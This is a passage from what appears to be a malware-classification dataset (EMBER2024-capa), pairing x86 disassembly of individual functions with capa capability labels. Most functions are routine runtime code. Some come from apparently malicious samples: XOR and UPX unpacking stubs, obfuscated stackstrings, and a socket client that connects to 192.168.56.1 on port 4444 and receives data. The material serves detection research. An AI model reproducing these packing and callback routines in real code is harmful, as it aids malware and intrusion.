joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48b200
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x48b242
call fcn.004962c6
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x48b242
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x48b239
xor eax, eax
jmp 0x48b24a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0048b250
pop edi
pop esi
pop ebx
ret 4
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x4fc008], 0x8088405
inc edx
mov dword [ebx + 0x4fc008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cf00
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cf31
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf19
add dl, dl
jne 0x41cf3c
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf8d
xor eax, eax
add dl, dl
jne 0x41cf49
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d02a
add dl, dl
jne 0x41cf58
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf63
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf6e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf79
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cf83
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cf28
mov eax, 1
add dl, dl
jne 0x41cf9b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfa6
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf92
sub eax, ebx
mov ebx, 1
jne 0x41cfd9
mov ecx, 1
add dl, dl
jne 0x41cfbf
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cfca
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfb6
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cff0
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cffb
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfe7
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf28
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d04b
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cf28
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f04c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x4e053a
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f09b
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f0ba
mov ecx, edx
add ecx, ebx
jmp 0x41f0ba
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f0ba
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f12c
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f115
test esi, esi
jbe 0x41f12c
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41f107
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f12c
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f0e4
jmp 0x41f12c
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f12c
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e0541
ret
Function at 0x420284
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x4e189f
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x4202bf
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x4202d8
lea eax, [ebp - 0x10]
mov edx, dword [0x4fe348]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x4202eb
lea eax, [ebp - 0x10]
mov edx, dword [0x4fe348]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x4202f7
adc edx, 0
mov edx, dword [edx*4 + 0x4fd178]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x420471
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x420464
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
cmp dword [eax], 0x4550
jne 0x420464
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x420402
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x420402
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420402
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420402
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x420464
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x420464
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x420464
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420464
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420464
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x420489
inc ebx
cmp ebx, 0x19
jne 0x4202b1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e18a6
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406054], 1
mov dword [0x406050], 1
mov dword [0x40604c], 1
mov dword [0x406044], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x40600c], eax
mov eax, dword [0x406060]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40605c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40301c], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060

Function at 0x401713
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push edi
push ebx
mov eax, 0x1960
call fcn.00402bb0
sub esp, eax
mov dword [ebp - 0x1953], 0x4b5a444f
mov dword [ebp - 0x194f], 0x70556941
mov dword [ebp - 0x194b], 0x41595074
mov dword [ebp - 0x1947], 0x74454670
mov dword [ebp - 0x1943], 0x7864494f
mov dword [ebp - 0x193f], 0x7a645947
mov dword [ebp - 0x193b], 0x5749526c
mov dword [ebp - 0x1937], 0x6a6e414d
mov dword [ebp - 0x1933], 0x72455964
mov dword [ebp - 0x192f], 0x59544177
mov dword [ebp - 0x192b], 0x78526f6d
mov dword [ebp - 0x1927], 0x6b6b5546
mov dword [ebp - 0x1923], 0x4554
lea eax, [ebp - 0x191f]
mov ecx, 0x1913
mov ebx, 0
mov dword [eax], ebx
mov dword [eax + ecx - 4], ebx
lea edx, [eax + 4]
and edx, 0xfffffffc
sub eax, edx
add ecx, eax
and ecx, 0xfffffffc
shr ecx, 2
mov edi, edx
mov eax, ebx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x1953]
mov dword [esp], eax
call sym._strupr
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlwr
add esp, 0x1960
pop ebx
pop edi
pop ebp
ret

Function at 0x40184b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
jmp 0x4018b0
mov eax, dword [ebp + 0x10]
sub eax, dword [ebp - 0xc]
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_recv]
call eax
sub esp, 0x10
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x4018b0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._hnHuummKNPQnm
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0x10]
jl 0x401867
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x4019b4
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WSOCK32.DLL_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x4019ef
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._hnHuummKNPQnm
mov dword [esp], str.192.168.56.1
mov eax, dword [sym.imp.WSOCK32.DLL_gethostbyname]
call eax
sub esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401a14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._hnHuummKNPQnm
mov eax, dword [ebp - 0x10]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x20], 2
mov dword [esp], 0x115c
mov eax, dword [sym.imp.WSOCK32.DLL_htons]
call eax
sub esp, 4
mov word [ebp - 0x1e], ax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x20]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.WSOCK32.DLL_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x401a85
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._hnHuummKNPQnm
mov eax, dword [ebp - 0xc]
leave
ret
Function at 0x401f40
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401fa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x4020c0
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401fd4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x402057
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401fc0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x4020e7
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4020c7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x402050
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x402060
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x402050
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401fde
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop
Function at 0x4025a0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x4025f5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4025ee
test esi, esi
je 0x4025ee
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4025d0
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0xf5d160
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x761000]
push edi
or ebp, 0xffffffff
jmp 0xf5d182
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xf5d189
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf5d178
mov eax, 1
add ebx, ebx
jne 0xf5d19b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xf5d1ac
jne 0xf5d1cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf5d1cb
dec eax
add ebx, ebx
jne 0xf5d1b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xf5d190
add ebx, ebx
jne 0xf5d1c7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xf5d21d
xor ecx, ecx
sub eax, 3
jb 0xf5d1e3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xf5d252
sar eax, 1
mov ebp, eax
jmp 0xf5d1ee
add ebx, ebx
jne 0xf5d1ee
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf5d1bc
inc ecx
add ebx, ebx
jne 0xf5d1fc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xf5d1bc
add ebx, ebx
jne 0xf5d209
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xf5d1fe
jne 0xf5d21a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xf5d1fe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xf5d23c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xf5d22e
jmp 0xf5d17e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xf5d23c
add edi, ecx
jmp 0xf5d17e
pop esi
mov edi, esi
mov ecx, 0xb4b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xf5d25a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xf5d25f
lea edi, [esi + 0xb5a000]
mov eax, dword [edi]
or eax, eax
je 0xf5d2d0
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xb62650]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xb627e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xf5d285
mov ecx, edi
jns 0xf5d2b4
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xb627f0]
or eax, eax
je 0xf5d2ca
mov dword [ebx], eax
add ebx, 4
jmp 0xf5d2a2
call dword [esi + 0xb627ec]
mov ebp, dword [esi + 0xb627f4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x26f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xf5d304
sub esp, 0xffffff80
jmp 0x510e63
Function at 0x10005fcf
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x100181ad
call fcn.10016a0c
mov eax, dword [ebp + 0xc]
xor esi, esi
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], esi
mov dword [ebp - 0x418], esi
push 0x60
push esi
push ebx
mov byte [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x1000604c
push 2
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x1000604c
call fcn.10004937
mov esi, eax
jmp 0x10006152
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
jne 0x1000606f
call fcn.10004937
jmp 0x10006145
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x10006065
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
lea eax, [ebx + 1]
cmp eax, ebx
jae 0x100060a2
mov esi, 0x8007000e
jmp 0x10006147
push 2
pop ecx
mul ecx
mov byte [ebp - 4], cl
cmp edx, esi
ja 0x10006175
jb 0x100060bd
cmp eax, 0xffffffff
ja 0x10006175
cmp eax, 0x400
jbe 0x100060d2
push eax
lea ecx, [ebp - 0x418]
call fcn.10004912
jmp 0x100060f4
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
jmp 0x100060f4
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
je 0x10006098
push ebx
push dword [ebp - 0x418]
push ebx
push dword [ebp - 0x41c]
push esi
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
je 0x10006065
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.10005e7a
mov esi, eax
test edi, edi
je 0x10006152
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1000616b
lea ecx, [ebp - 0x418]
call fcn.100048fd
mov eax, esi
call fcn.10016959
ret 0x10
push 0x80070216
call fcn.10006374
int3

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..3ean
mov ebx, 0x40915c
nop
mov ecx, 0x1be50377
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..7LWLf
mov ebx, 0x42f3f8
nop
mov ecx, 0x684c3708
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x40169e
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x4042cb], ebp
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404772], eax
xor eax, eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x404706], eax
mov dword [0x4042c3], eax
mov dword [0x4046f2], 0x30
mov dword [0x4046f6], 2
jmp 0x4016df
xor eax, eax
mov dword [0x4046fa], 0x403290
mov dword [0x4046fe], eax
mov dword [0x404702], eax
mov eax, 0x4041c7
mov dword [0x404712], 0xe
mov dword [0x40471a], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40470e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x40470a], eax
mov dword [0x40471e], eax
push 0x4046f2
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4042c3]
push 0
push 0
push 0x1e0
push 0x1fe
push 0xfffff862
push 0xfffff8f8
push 0xcf0000
push 0x4046c8
push 0x4041c7
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404766], eax
push 5
push eax
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404766]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404722]
jmp 0x4017a6
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x401798
mov eax, dword [0x40472a]
jmp 0x4017c1
call 0x402a9e
ret

Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c